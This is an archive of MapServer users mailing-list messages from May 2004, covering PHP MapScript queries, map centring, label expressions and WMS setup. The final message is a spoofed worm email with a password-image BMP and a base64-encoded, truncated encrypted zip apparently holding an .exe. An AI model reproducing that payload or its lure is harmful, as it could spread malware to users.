> I thought about this myself. In order to display the result shapes you need
> to have a query result either from doing the query in mapscript or loading a
> saved query file. The former defeats the point of querying the dBase since
> you're duplicating your steps, and the later requires you to manually build
> a query file but you can't do that unless you can get at the dBase record -
> shapefile index relationship which I don't know how to do.
>
> Again, I may be off track, but querying the dBase file may not be feasible.
>
> Adam
>
> -----Original Message-----
> From: Eduardo Patto Kanegae [mailto:eduardo@consultoria.eti.br]
> Sent: Monday, May 03, 2004 11:06 AM
> To: mapserver-users@lists.gis.umn.edu
> Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP
> dBase functions?
>
>
> I have a mapserver+php+mapscript that will query on a shapefile database on
> a single layer, through its atributes.
>
> The system will give as result a set of items on a result list as a first
> step.
> Then as a second step a map displaying these results should be given.
>
> my doubt is: to create this result list which will be best strategy:
> - use PHPMapScript to query against the mapfile ?
> or
> - simply use PHP dBase functions to query against dBase files of the
> mapfile?
>
> which one is the best/fastest alternative?
>
> best regards.
>
> Eduardo Patto Kanegae
> http://www.consultoria.eti.br
> UIN: 303747254
>
> I Encontro Nacional de Usuários MapServer -
> http://mapserver.cttmar.univali.br/encontro2004
> Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
>
> ***Fim da Mensagem / End of Message ***
>
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
Hi,
I think you can use both. If you use querybyattributes then you use the
ability of the mapserver to search only in your current extent. But you
have the problem that the qstring must be exactly the same (case
sensitive). If anyone knows a way (without much own code) to search with
the mapserver after only parts of words and case ignoring it would be
great if he shares it. Because that would work with all kinds of types
of data not only for shapes.
For the other case I use the following code to search the way described
above - I cut it a bit:
//this first part is a seperate form but it should work also in one
$recs = dbase_numrecords($dbi);//opened dbf
$q_index_array = array();//save the indexes from the .dbf in this array
for ($i = 1; $i < $recs; $i++)
{
$s_field = dbase_get_record_with_names($dbi, ($i + 1));
if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) ===
false))
{
$q_index_array[] = $i;
}
}
//second part - map
for ($i = 0; $i < count($q_index_array); $i++)
{
if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i],
MS_FALSE) == MS_SUCCESS)
{
$q_img = $map->drawquery();
$q_path = $q_img->savewebimage();
echo "";
}
}
Regards,
Norbert
From e9625730@student.tuwien.ac.at Tue May 4 10:24:39 2004
From: e9625730@student.tuwien.ac.at (Elisabeth Nolz)
Date: Tue, 4 May 2004 11:24:39 +0200
Subject: [Mapserver-users] center map on x,y coordinates
Message-ID:
hi list.
in my application i have a drop-down menu with lots of addresses (addresses
and appropriate x,y coordinates stored in a mysql-database). the user can
choose one address and then click on the submit-button to show the map
centered on the chosen address.
the problem is, that i don't know how i could center my map on x,y
coordinates.
i found the following entry in the mapserver-user-history:
"If you have x,y coordinates for the centers of your parcels in your mysql
database, you can just run your search, grab the results, and redirect to a
url like:
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000"
i tried this link with my coordinates but it doesn't work this way. could
someone help me please?
thx,
elisabeth.
From adams@terrestris.de Tue May 4 10:56:47 2004
From: adams@terrestris.de (Till Adams)
Date: Tue, 04 May 2004 11:56:47 +0200
Subject: [Mapserver-users] PostGIS and CLass - Expression Help
Message-ID: <409768DF.9040405@terrestris.de>
Dear list,
I'm stuck with making an expression on a postgis datasource (code see
below):
I get no error but also no labels at all - and there are labels, I'm
sure. I tried everything with quotations, capitalisation in my
expression, etc. but still get no results :-(.
NAME "xxx"
TYPE ANNOTATION
STATUS ON
CONNECTIONTYPE postgis
CONNECTION "user=admin dbname=datasrc host=localhost"
DATA "the_geom from (select * from view_x) as foo using unique item
using SRID=31493"
# viewx is a stored query in my database
METADATA
'WMS_SRS' 'epsg:31493'
'WMS_TITLE' 'xxx'
'WMS_FEATURE_INFO_MIME_TYPE' 'text/html'
END
PROJECTION
"init=epsg:31493"
END
CLASSITEM "item_x"
LABELITEM "label"
LABELANGLEITEM "angle"
CLASS
EXPRESSION ([item_y] > 1301) # /^13/
NAME "name"
LABEL
TYPE TRUETYPE
FONT 'arial'
SIZE 9
COLOR 0 0 0
END
END
[....]
When making sth. like 'EXPRESSION /^13/' I get results and see labels on
my map, but that's not enough for us. Maybe there's a problem because
the data does not result from a postgres table directly?
Any ideas, hints, similar problems out there?
Thanks very much in advance!
Till
From norbert.thieme@ilmenau.baw.de Tue May 4 11:15:12 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Tue, 04 May 2004 12:15:12 +0200
Subject: [Mapserver-users] drawing layers with labels using php
In-Reply-To: <200405040759.i447xVFS000158@lists.gis.umn.edu>
References: <200405040759.i447xVFS000158@lists.gis.umn.edu>
Message-ID: <40976D30.1090809@ilmenau.baw.de>
publiek@home.nl schrieb:
> Hello,
>
> How do i draw layers that consist of labels?
> I get a blank image.
> Using php mapscript functions draw, saveWebimage.
>
> What in the world am i missing?
>
> Thanks.
>
> Marcel
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
Hi,
it would help if you could send your mapfile or parts of it the next
time. However this thing work in general. You can have a look at my
layer definition from a simple .shp file.
LAYER
NAME "Ortslage"
DATA "ortslage"
STATUS DEFAULT
TYPE POLYGON
#TYPE ANNOTATION # you can use this instead but there could
be something wrong in the mapscript -> all labels get drawn in my case
PROJECTION
"init=epsg:31467"
END
LABELITEM 'NAME'
CLASS
# COLOR 232 232 232
# OUTLINECOLOR 32 32 32
LABEL
COLOR 100 100 100
#BACKGROUNDCOLOR 220 220 190
SHADOWCOLOR 250 250 220
SHADOWSIZE 1 1
TYPE BITMAP
SIZE MEDIUM
BUFFER 15
END
END
END
Did you get a correct image from another layer?
BTW there can also be a problem with your PROJECTION definitions. In
most cases this is the reason for blank images.
Regards,
Norbert
From alhim@intracom.gr Tue May 4 11:34:06 2004
From: alhim@intracom.gr (Alexandros Chimarios)
Date: Tue, 4 May 2004 13:34:06 +0300
Subject: [Mapserver-users] center map on x,y coordinates
In-Reply-To:
References:
Message-ID: <200405041334.06780.alhim@intracom.gr>
Hi ,
are you using the MapScript language ? If yes in the mapObj class there is
the method centerByPoint which operates on the screen space(pixels). What are
those x,y ? Screen coords(pixels) or geographical coordinates (e.x lat/lon) ?
On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote:
> hi list.
> in my application i have a drop-down menu with lots of addresses (addresses
> and appropriate x,y coordinates stored in a mysql-database). the user can
> choose one address and then click on the submit-button to show the map
> centered on the chosen address.
> the problem is, that i don't know how i could center my map on x,y
> coordinates.
>
> i found the following entry in the mapserver-user-history:
> "If you have x,y coordinates for the centers of your parcels in your mysql
> database, you can just run your search, grab the results, and redirect to a
> url like:
> http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f
>rom_mysql&scale=150000"
>
> i tried this link with my coordinates but it doesn't work this way. could
> someone help me please?
>
> thx,
> elisabeth.
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From norbert.thieme@ilmenau.baw.de Tue May 4 11:38:51 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Tue, 04 May 2004 12:38:51 +0200
Subject: [Mapserver-users] Using itasci rubber band in php
In-Reply-To: <200405040756.i447uqFS000116@lists.gis.umn.edu>
References: <200405040756.i447uqFS000116@lists.gis.umn.edu>
Message-ID: <409772BB.3050509@ilmenau.baw.de>
publiek@home.nl schrieb:
> I am trying to rewrite the itasca example (javascript with dhtml rubber band box) to php.
>
> What i want is to let the dbox javascript thing communicate with my php functions.
> Am i doing something that is possible? Or should i use something else for the rubber band selection?
>
> Any ideas are welcome.
>
> Thanks,
>
> Marcel
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
Yes,
you can do that. Just make two inputs with a name in your form in the
php file (e.g. ).
I don't know what your does exactly but you can asign the Values from
your coordinates to the html/php inputs (e.g.
document.yourform.javasX.value = someXcoordinate). Notice that you
should know what coordinates you get from the script (pixel, position of
start point).
If the from gets submitted you can use this in php script. If your form
uses POST then it could look like:
if (isset($HTTP_POST_VARS["javasX"]))
{
$click_x = $HTTP_POST_VARS["javasX"];
}
Now you can use this coordinates in php and do what you want to do.
Regards,
Norbert
From burmester@gis-initiative.de Tue May 4 12:29:11 2004
From: burmester@gis-initiative.de (GIS Initiative)
Date: Tue, 04 May 2004 13:29:11 +0200
Subject: [Mapserver-users] PHP Mapscript query result in new window
Message-ID: <40979AA7.462.165F4A6@localhost>
Hi,
I try to get the query result from the GMap Demo in a popup window. In this list I
find the note, that I can do this with php session variables. I tried that, but my
query result is always null. In my opinion there are problems with the global
variables (in the function GMapDumpQueryResults() are this $gpoMap and
$gbShowQueryResults). To set the session variables I return $selFields in this
function and then I call the function with the session variable name.
$_SESSION['result'];
$result = GMapDumpQueryResults();
When I write something in a test variable and return this, everything is alright.
How I have to change this function? Can someone help me?
Petra
From mschulz@webgis.de Tue May 4 12:43:27 2004
From: mschulz@webgis.de (Michael Schulz)
Date: Tue, 04 May 2004 13:43:27 +0200
Subject: [Mapserver-users] auto angle line labeling with mapscript
Message-ID: <409781DF.1090000@webgis.de>
Hi,
I have a problem with labeling line features with the angle auto option.
If I draw a certain line layer with shp2img then everything works fine.
This is the corresponding image:
http://www.zopecms.de/bohrdatenportal/labeltest_shp2img.png
If I use the same mapfile with python/mapscript then the situation
changes, the labels are drawn, but they get rotated in the wrong
direction but for a "correct" angle value.
This is the corresponding image:
http://www.zopecms.de/bohrdatenportal/labeltest_pymapscript.png
These images were created with mapserver 4.0.1, gd-2.0.21,
freetype-2.1.7 on WIN2K.
Has anyone using mapscript, perhaps in another flavor had the same problems?
TIA, Michael
P.S.: Could this problem be related with this bug:?
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=564
--
-----------------------------------------------------------
Michael Schulz in medias res
Dipl.-Geologe Gesellschaft für
Informationstechnologie mbH
In den Weihermatten 66
79108 Freiburg
0761 55695-95 (Fax 96)
mschulz@webgis.de www.webgis.de/www.zopecms.de
From e9625730@student.tuwien.ac.at Tue May 4 13:14:57 2004
From: e9625730@student.tuwien.ac.at (Elisabeth Nolz)
Date: Tue, 4 May 2004 14:14:57 +0200
Subject: Fw: [Mapserver-users] center map on x,y coordinates
Message-ID:
i tried alexandros link but still got the same error:
getString(): Symbol definition error. (MAP):(0)
perhaps someone knows whats going wrong.
elisabeth.
On Tuesday 04 May 2004 14:44, Alexandros Chimarios wrote:
make last try with :
http://localhost/cgi-bin/mapserv?map=map.map&mapxy="339989,00
1646,00"&scale=1000
It seems that the %20 special HTML char is getting confused with the number
after that.
Elisabeth, please also send a carbon-copy of your emails to the mapserver-list
cause may be some people out there that could help you more than me.
I don't know if this make you feel better, but I also have some problems with
Maserver. I have been trying to setup a WMS server since the morning !
Regards
Alexandros
"Elisabeth Nolz" schrieb:
hi again, alexandros.
i copied my .map-file to the apache/cgi-bin directory and this is the link i'm
working with by now:
http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989,00%201646,00&scale=1000
but i get the following error:
getString(): Symbol definition error. (MAP):(0)
do you know what that means?
On Tuesday 04 May 2004 14:15, Alexandros Chimarios wrote:
Elisabeth,
I think there's a problem with your URL. According to Mapserver syntax the CGI
param should be: MAPXY [x] [y]
But you have
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000
What does this "+" symbol mean ?
Try the following URL :
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql%20y_from_mysql&scale=150000
"Elisabeth Nolz" schrieb:
i'm using PHP MapScript 3.6 and these x,y coordinates are geographical
coordinates (gauss-krueger). i want to pass these coordinates through a link.
is that possible?
On Tuesday 04 May 2004 13:34, Alexandros Chimarios wrote:
Hi ,
are you using the MapScript language ? If yes in the mapObj class there is
the method centerByPoint which operates on the screen space(pixels). What are
those x,y ? Screen coords(pixels) or geographical coordinates (e.x lat/lon) ?
On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote:
hi list.
in my application i have a drop-down menu with lots of addresses addresses and
appropriate x,y coordinates stored in a mysql-database). the user can choose
one address and then click on the submit-button to show the map centered on
the chosen address.
the problem is, that i don't know how i could center my map on x,y
coordinates.
i found the following entry in the mapserver-user-history:
"If you have x,y coordinates for the centers of your parcels in your mysql
database, you can just run your search, grab the results, and redirect to a
url like:
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000"
i tried this link with my coordinates but it doesn't work this way. could
someone help me please?
thx,
elisabeth.
From alhim@intracom.gr Tue May 4 13:21:54 2004
From: alhim@intracom.gr (Alexandros Chimarios)
Date: Tue, 4 May 2004 15:21:54 +0300
Subject: Fw: [Mapserver-users] center map on x,y coordinates
In-Reply-To:
References:
Message-ID: <200405041521.54289.alhim@intracom.gr>
How about checking your map file ? Propably there's a syntax error in there !
Send your map file please.
On Tuesday 04 May 2004 15:14, Elisabeth Nolz wrote:
> i tried alexandros link but still got the same error:
> getString(): Symbol definition error. (MAP):(0)
>
> perhaps someone knows whats going wrong.
> elisabeth.
>
>
> On Tuesday 04 May 2004 14:44, Alexandros Chimarios wrote:
> make last try with :
> http://localhost/cgi-bin/mapserv?map=map.map&mapxy="339989,00
> 1646,00"&scale=1000
>
> It seems that the %20 special HTML char is getting confused with the number
> after that.
>
> Elisabeth, please also send a carbon-copy of your emails to the
> mapserver-list cause may be some people out there that could help you more
> than me.
>
> I don't know if this make you feel better, but I also have some problems
> with Maserver. I have been trying to setup a WMS server since the morning !
>
> Regards
> Alexandros
>
>
> "Elisabeth Nolz" schrieb:
> hi again, alexandros.
>
> i copied my .map-file to the apache/cgi-bin directory and this is the link
> i'm working with by now:
> http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989,00%201646,00&scal
>e=1000
>
> but i get the following error:
> getString(): Symbol definition error. (MAP):(0)
>
> do you know what that means?
>
>
> On Tuesday 04 May 2004 14:15, Alexandros Chimarios wrote:
> Elisabeth,
>
> I think there's a problem with your URL. According to Mapserver syntax the
> CGI param should be: MAPXY [x] [y]
>
> But you have
> http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f
>rom_mysql&scale=150000
>
> What does this "+" symbol mean ?
>
> Try the following URL :
> http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql%20y
>_from_mysql&scale=150000
>
>
> "Elisabeth Nolz" schrieb:
> i'm using PHP MapScript 3.6 and these x,y coordinates are geographical
> coordinates (gauss-krueger). i want to pass these coordinates through a
> link. is that possible?
>
>
> On Tuesday 04 May 2004 13:34, Alexandros Chimarios wrote:
> Hi ,
> are you using the MapScript language ? If yes in the mapObj class there
> is the method centerByPoint which operates on the screen space(pixels).
> What are those x,y ? Screen coords(pixels) or geographical coordinates (e.x
> lat/lon) ?
>
>
>
> On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote:
> hi list.
> in my application i have a drop-down menu with lots of addresses addresses
> and appropriate x,y coordinates stored in a mysql-database). the user can
> choose one address and then click on the submit-button to show the map
> centered on the chosen address.
> the problem is, that i don't know how i could center my map on x,y
> coordinates.
>
> i found the following entry in the mapserver-user-history:
> "If you have x,y coordinates for the centers of your parcels in your mysql
> database, you can just run your search, grab the results, and redirect to a
> url like:
> http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f
>rom_mysql&scale=150000"
>
> i tried this link with my coordinates but it doesn't work this way. could
> someone help me please?
>
> thx,
> elisabeth.
From thelen@ccgis.de Tue May 4 13:46:57 2004
From: thelen@ccgis.de (Benjamin Thelen)
Date: Tue, 04 May 2004 14:46:57 +0200
Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript
In-Reply-To: <200404301413.i3UEDLA9011504@ccom.unh.edu>
References: <200404301413.i3UEDLA9011504@ccom.unh.edu>
Message-ID: <409790C1.7020001@ccgis.de>
Don't use –with-httpd=/usr/local/apache2/bin/httpd!
Regards,
Benjamin Thelen
---------------------------------
CCGIS GbR - Bonn
http://www.ccgis.de
Siemensstraße 8
53121 Bonn
Germany
Tel: ++49 (0) 228 90826 15
Fax: ++49 (0) 228 90826 11
James Case wrote:
> Hi all,
>
>
>
> Okay here’s what I’m doing.
>
>
>
> Apache 2.0.39
>
> PHP 4.3.6
>
> GDAL 1.2.0
>
>
>
> I am getting the dreaded PHP4 regex error message after configure of
> MapScript as such:
>
>
>
> ./configure –with-gdal=/usr/local/bin/gdal-config --without-tiff
> –with-php=/usr/local/include/php –enable-internal-ld-detect
> –with-gd=/usr/local –with-httpd=/usr/local/apache2/bin/httpd
> –with-apxs=/usr/local/apache2/bin/apxs
>
>
>
> I recompiled PHP with the –with-regex=system option but it didn’t make a
> difference. There seems to be a workaround to ‘fool’ MapScript in to
> thinking PHP is configured with regex=system, but I cannot piece it
> together from Google L
>
>
>
> Any ideas?
>
>
>
> -Jim
>
From alhim@intracom.gr Tue May 4 14:01:55 2004
From: alhim@intracom.gr (Alexandros Chimarios)
Date: Tue, 4 May 2004 16:01:55 +0300
Subject: [Mapserver-users] Problem on setting up an WMS server
In-Reply-To:
References:
Message-ID: <200405041601.55178.alhim@intracom.gr>
I have compiled the Mapserver 4.2 beta to support WMS server(succesfully
tested it !) and GetCapabilities works fine. However when I try thr GetMap
functionality instead of the image I get an xml file describing the following
error :
msWMSLoadGetMapParams(): WMS server error. Invalid values for BBOX.
This is the URL i try :
http://localhost/cgi-bin/mapserv?map=mywms.map&REQUEST=GetMap&LAYERS=earth&bbox=-110.0,40.0,-80.0,30.0&VERSION=1.1.1
Could anyone explain me what to do or send me an example test WMS-server map
file ?
This is mywms.map :
MAP
NAME DEMO
WEB
METADATA
"wms_title" "WMS DEMO SERVER"
"wms_onlineresource" "http://localhost/cgi-bin/mapserv?map=mywms.map&"
"wms_srs" "EPSG:4326"
END
END
LAYER
NAME earth
DATA "/usr/local/apache2/cgi-bin/geodata/data/cubeserv-best.jpg"
TYPE RASTER
END
END
From steve.lime@dnr.state.mn.us Tue May 4 15:11:54 2004
From: steve.lime@dnr.state.mn.us (Steve.lime)
Date: Tue, 04 May 2004 08:11:54 -0600
Subject: [Mapserver-users] RE: Text message
Message-ID:
----------pqbwqzitcjjkrwdfwudb
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
In order to read the attach you have to use the following password:
----------pqbwqzitcjjkrwdfwudb
Content-Type: image/bmp; name="mslquzjhhz.bmp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mslquzjhhz.bmp"
Content-ID:
Qk0+BwAAAAAAADYAAAAoAAAAPAAAAA8AAAABABAAAAAAAAgHAAAAAAAAAAAAAAAAAAAAAAAA
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/3X/RdkBl
CW42d/9//3/df9F2QGUJbjZ3/3//fwluQGVAZUBlQGVAZf9//3//f/9/QGVAZf9//3//fxR3
QGVAZRR3/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9/j3JAZd1/eHtAZRR3/3/RdkBl3X94e0BlNnf/fxR3QGV4e/9//3//f/9//3//f/9/
QGVAZf9//39Xe0BleHu8f0BlFHf/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//39AZQlu/3//f/9//3//f0BlCW7/f95/QGUJbt1/
/3//f/9//3//f/9/QGVAZf9//3+PckBl/3//f0BlQGX/f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//39AZUBl/3//f/9//3//f0Bl
QGX/f/9/eHtAZQlu/3//f/9//3//f/9/QGVAZf9//39AZUBl/3//f0BlQGX/f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//39AZQlu
/3//f/9//394e0Bl83b/f/9//3/RdkBl0Xb/f/9//3//f/9/QGVAZf9//39AZUBlvH+be0Bl
83b/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
0XZAZd1/eHtAZRR3/3//f/9/TXJAZU1y/3//f/9//3//f01yQGV4e/9//3//f/9/QGVAZf9/
/39AZU1y0XZAZdF2/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9/0XZAZQluQGXRdv9//3//f/9//39Xe0Bl83b/f/9//3//f7x/QGUJbv9/
/3/Rdv9/QGVAZf9//38JbkBl/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9/V3tAZXp7/3//f/9//3//f/9//3//f0BlQGX/f/9/
/3//f/9/QGVAZf9//39AZY9yQGVAZf9//3/zdkBl/3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/m3tAZfN2/3//f/9//3/zdkBl
3X+8f0Bl0Xb/f01yQGXdf91/QGUUd/9//3/df9F2QGVAZf9//3+8f0BleHvdf0Bl83b/f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/3n9AZUBl
QGVAZUBl/3/df/N2QGVAZfN2/3//f91/j3JAZUBlFHf/f/9//3//f/9/83ZAZf9//3//f3p7
TXJAZU1y3X//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9/
----------pqbwqzitcjjkrwdfwudb
Content-Type: application/octet-stream; name="Loves_money.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Loves_money.zip"
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
